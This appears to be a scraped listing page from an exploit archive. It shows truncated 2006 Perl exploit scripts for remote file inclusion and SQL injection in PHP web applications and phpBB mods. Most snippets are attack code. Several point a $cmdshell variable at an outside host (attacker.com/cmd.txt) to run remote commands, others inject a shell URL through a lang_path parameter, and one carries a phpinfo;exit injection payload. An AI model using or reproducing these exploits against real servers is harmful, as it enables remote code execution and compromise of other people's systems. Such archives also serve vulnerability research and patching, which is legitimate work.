Free FAQ 1.0 - 'index.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/20621/info Free Faq is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with...

EPNadmin 0.7 - 'constantes.inc.php' Remote File Inclusion

!/usr/bin/perl EPNadmin remote Command Execution Vulnerabilities Risk : High Remote Code Execution Url: http://epnadmin.pierrefitte93.fr Version : 0.7 coded and f0und3d by Kw3RLn Romanian Security Team .: hTTp://RST-CREW.NET :. Shoutz to Oo, str0ke, th0r and all members of RST ! use LWP::Simple;...

spamoborona-rfi.txt

!/usr/bin/perl SpamOborona PHPBB Plugin Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://spamoborona.net/downloads.php use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socket =...

phpbbarchive-rfi.txt

!/usr/bin/perl pbpbb archive for search engines Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mambopower.net/ http://www.mambopower.net/downloads/phpbbsearchindexer.zip use IO::Socket; use LWP::Simple;...

phpbblat2cyr-rfi.txt

!/usr/bin/perl phpBB lat2cyr 1.0.1 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.phpbbhacks.com/download/4808 use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socket =...

buzlas-rfi.txt

!/usr/bin/perl Buzlas v2006-1 Full Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.buzlas.net/dosyalar/phpbb/premod/Buzlas%20v2006-1%20Full.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ;...

newsdefilante-rfi.txt

!/usr/bin/perl news defilante horizontale FR Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://ftp.phpbb-fr.com/mods/comm/newsdefilantehorizontaleFRv4.1.1.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; "...

phpbbsecurity-rfi.txt

!/usr/bin/perl phpBB Security 1.0.1 Class: Remote File Include Vulnerability Date: 2006/10/12 Remote: Yes Type: high Site: http://www.phpbb-amod.com/downloads/phpBBSecurity.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socket =...

PHPRecipeBook <= 2.35 (g_rb_basedir) Remote File Include Exploit

No description provided by source. !/usr/bin/perl PHPRecipeBook 2.36 Class: Remote File Include Vulnerability Date: 2006/10/16 Remote: Yes Type: Highly critical Vendor: http://phprecipebook.sourceforge.net/...

PHPRecipeBook 2.35 - 'g_rb_basedir' Remote File Inclusion

!/usr/bin/perl PHPRecipeBook 2.36 Class: Remote File Include Vulnerability Date: 2006/10/16 Remote: Yes Type: Highly critical Vendor: http://phprecipebook.sourceforge.net/ Download: http://sourceforge.net/pro...

WoltLab Burning Book <= 1.1.2 Remote SQL Injection Exploit PoC

No description provided by source. !/usr/bin/perl woltlab.de burning book =1.1.2 SQL and PHP injection PoC use /index.php?q=phpinfo;exit; ShAnKaR secAshankar.antichat.ru http://antichat.ru/ use LWP; die"use ./burn-book.pl http://localhost/wbbook/ 1number book db, default 1\n" if !$ARGV0;$ARGV1=''...

WoltLab Burning Book 1.1.2 - SQL Injection

!/usr/bin/perl woltlab.de burning book new; $ua-post$ARGV0.'/addentry.php',regimage=0,send='send',name=1,message=1, n=$ARGV1.'templates templateid,templatename,template VALUES...

phpBurningPortal <= 1.0.1 (lang_path) Remote File Include Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use LWP::Simple; $target = @ARGV0; $shellsite = @ARGV1; $shellcmd = @ARGV2; $fileno = @ARGV3; if!$target || !$shellsite usage; header; if $fileno eq 1 $file = "questdelete.php?langpath="; elsif $fileno eq 2 $file =...

phpBurningPortal <= 1.0.1 (lang_path) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================= phpBurningPortal ; while $cmd ! "exit" $xpl = LWP::UserAgent-new or die; $req = HTTP::Request-newGET=$target'/modules/includes/'.$file.$shellsite.'?&'.$shellcmd.'='.$cmd or...

phpBurningPortal 1.0.1 - lang_path Remote File Inclusion

phpBurningPortal 1.0.1 - langpath Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; use LWP::Simple; $target = @ARGV0; $shellsite = @ARGV1; $shellcmd = @ARGV2; $fileno = @ARGV3; if!$target || !$shellsite usage; header; if $fileno eq 1 $file = "questdelete.php?langpath="; elsif $fileno eq 2...

phpBBFM &lt;= 206-3-3 (phpbb_root_path) Remote File Include Exploit

No description provided by source. !/usr/bin/perl phpBBFM Fully Modded Documentation Class: Remote File Include Vulnerability Date: 2006/10/15 Remote: Yes Type: high Site: http://osgaming.net/Downloads/SiteTools/FM206-3-3.zip...

phpBurningPortal 1.0.1 - &#039;lang_path&#039; Remote File Inclusion

!/usr/bin/perl use LWP::UserAgent; use LWP::Simple; $target = @ARGV0; $shellsite = @ARGV1; $shellcmd = @ARGV2; $fileno = @ARGV3; if!$target || !$shellsite usage; header; if $fileno eq 1 $file = "questdelete.php?langpath="; elsif $fileno eq 2 $file = "questedit.php?langpath="; elsif $fileno eq 3...

maluinfo <= 206.2.38 (bb_usage_stats.php) Remote File Include Exploit

Exploit for unknown platform in category web applications ===================================================================== maluinfo = 206.2.38 bbusagestats.php Remote File Include Exploit ===================================================================== !/usr/bin/perl maluinfo 206.2.38...

phpBB SearchIndexer Mod - archive_topic.php Remote File Inclusion

phpBB SearchIndexer Mod - archivetopic.php Remote File Inclusion !/usr/bin/perl pbpbb archive for search engines Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...

phpBB Amazonia Mod - zufallscodepart.php Remote File Inclusion

phpBB Amazonia Mod - zufallscodepart.php Remote File Inclusion !/usr/bin/perl AMAZONIA MOD for phpbb forums Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...